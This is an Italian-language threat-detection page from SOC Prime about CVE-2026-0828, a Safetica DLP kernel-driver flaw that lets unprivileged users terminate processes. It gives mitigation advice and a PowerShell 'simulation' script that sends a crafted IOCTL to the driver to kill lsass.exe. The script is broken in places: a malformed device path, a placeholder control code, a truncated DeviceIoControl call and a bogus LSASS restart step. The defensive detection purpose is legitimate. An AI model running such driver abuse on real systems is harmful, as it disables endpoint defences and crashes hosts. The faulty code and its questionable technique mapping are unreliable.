SOC Prime Bias: Critico

26 Gen 2026 21:54

Safetica contiene una vulnerabilitĂ  nel driver kernel

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Safetica contiene una vulnerabilitĂ  nel driver kernel
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Un difetto nel driver kernel ProcessMonitorDriver.sys di Safetica consente a un utente non privilegiato di abusare di un’interfaccia IOCTL per terminare processi di sistema arbitrari. Questo può consentire un denial-of-service e l’interruzione degli strumenti di sicurezza sugli endpoint interessati. Il problema può essere sfruttato per eliminare agenti EDR e altri servizi critici, riducendo rapidamente la copertura difensiva. Attualmente non è disponibile alcuna patch del fornitore.

Indagine

Il rapporto documenta CVE-2026-0828 in ProcessMonitorDriver.sys nelle versioni client Safetica DLP. Dimostra che la debolezza nella validazione degli input permette la terminazione dei processi con privilegi elevati tramite chiamate IOCTL creativamente elaborate. Viene enfatizzato l’impatto sul monitoraggio della sicurezza degli endpoint.

Mitigazione

Monitora chiamate IOCTL sospette verso il driver, affidati a EDR o alla telemetria dell’host e limita l’accesso al driver utilizzando Windows Group Policy, WDAC o AppLocker. Fino a quando non sarĂ  disponibile una soluzione, blocca i binari non fidati dall’interazione con ProcessMonitorDriver.sys.

Risposta

Rileva attivitĂ  IOCTL anormali dirette a ProcessMonitorDriver.sys, isola i sistemi interessati e applica controlli normativi per negare l’accesso al driver. Aumenta la registrazione dei log, avvisa sulle interazioni non privilegiate e prendi in considerazione la disattivazione del driver come soluzione temporanea.

Flusso d’attacco

Stiamo ancora aggiornando questa parte. Iscriviti per ricevere notifiche

Notificami

Esecuzione della simulazione

Prerequisito: Il Check Pre-flight Telemetry & Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrativa dell’attacco e comandi:
    L’operatore del team rosso mira a sfruttare il driver vulnerabile ProcessMonitorDriver.sys per terminare un processo ad alto privilegio arbitrario (lsass.exe). Lo ottengono creando un payload IOCTL malevolo che istruisce il driver a chiudere l’handle del PID di destinazione, dirottando così il flusso di esecuzione (T1574) ed eludendo i meccanismi di difesa tipici (T1211). I passaggi sono:

    1. Risolvere il PID di lsass.exe.
    2. Aprire un handle al driver vulnerabile (.ProcessMonitorDriver).
    3. Costruire un buffer IOCTL contenente il PID di destinazione e un codice comando che innesca la terminazione del processo.
    4. Invocare DeviceIoControl con un codice di controllo malevolo (0xdeadbeef).
    5. Chiudere l’handle del driver.
  • Script di test di regressione:

    # Simulazione di sfruttamento per ProcessMonitorDriver.sys (CVE‑2026‑0828)
    # -------------------------------------------------------------
    # Questo script invia un IOCTL malevolo al driver vulnerabile per
    # terminare il processo LSASS, generando l'EventID 10 di Sysmon
    # che la regola di rilevamento monitora.
    
    # 1. Individua il PID di LSASS
    $targetProcess = Get-Process -Name lsass -ErrorAction Stop
    $targetPid = $targetProcess.Id
    Write-Host "PID di destinazione (lsass): $targetPid"
    
    # 2. Apri un handle al driver
    $driverPath = ".ProcessMonitorDriver"
    $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
    $handle = $file.SafeFileHandle
    
    # 3. Costruisci il buffer IOCTL malevolo (PID + dati fittizi)
    $bufferSize = 8
    $buffer = New-Object byte[] $bufferSize
    [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
    [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # riempitivo
    
    # 4. Definisci il codice IOCTL malevolo (esempio: 0xdeadbeef)
    $ioctlCode = 0xdeadbeef
    
    # 5. Invoca DeviceIoControl tramite P/Invoke
    $signature = @"
    using System;
    using System.Runtime.InteropServices;
    public class NativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            uint dwIoControlCode,
            byte[] lpInBuffer,
            int nInBufferSize,
            byte[] lpOutBuffer,
            int nOutBufferSize,
            out int lpBytesReturned,
            IntPtr lpOverlapped);
    }
    "@
    Add-Type $signature
    
    $bytesReturned = 0
    $outBuffer = New-Object byte[] 0
    $result = [NativeMethods]::DeviceIoControl(
                  $handle,
                  $ioctlCode,
                  $buffer,
                  $buffer.Length,
                  $outBuffer,
                  0,
                  [ref]$bytesReturned,
    
    if ($result) {
        Write-Host "IOCTL inviato correttamente – la terminazione LSASS potrebbe essere avvenuta."
    } else {
        $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
        Write-Error "DeviceIoControl non riuscito (Errore $err)."
    }
    
    # 6. Pulizia
    $file.Close()
  • Comandi di pulizia:

    # Rimuovi eventuali handle del driver residui (migliore tentativo)
    # Assicurati che LSASS sia riavviato se terminato (per un laboratorio sicuro)
    if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
        Write-Host "LSASS ancora in esecuzione – nessuna pulizia necessaria."
    } else {
        Write-Host "Riavviando LSASS (richiede privilegi di amministratore)…"
        # Su una macchina di test è possibile riavviare o utilizzare un cmdlet di riavvio del servizio
        # Restart-Service -Name "lsass" -Force
    }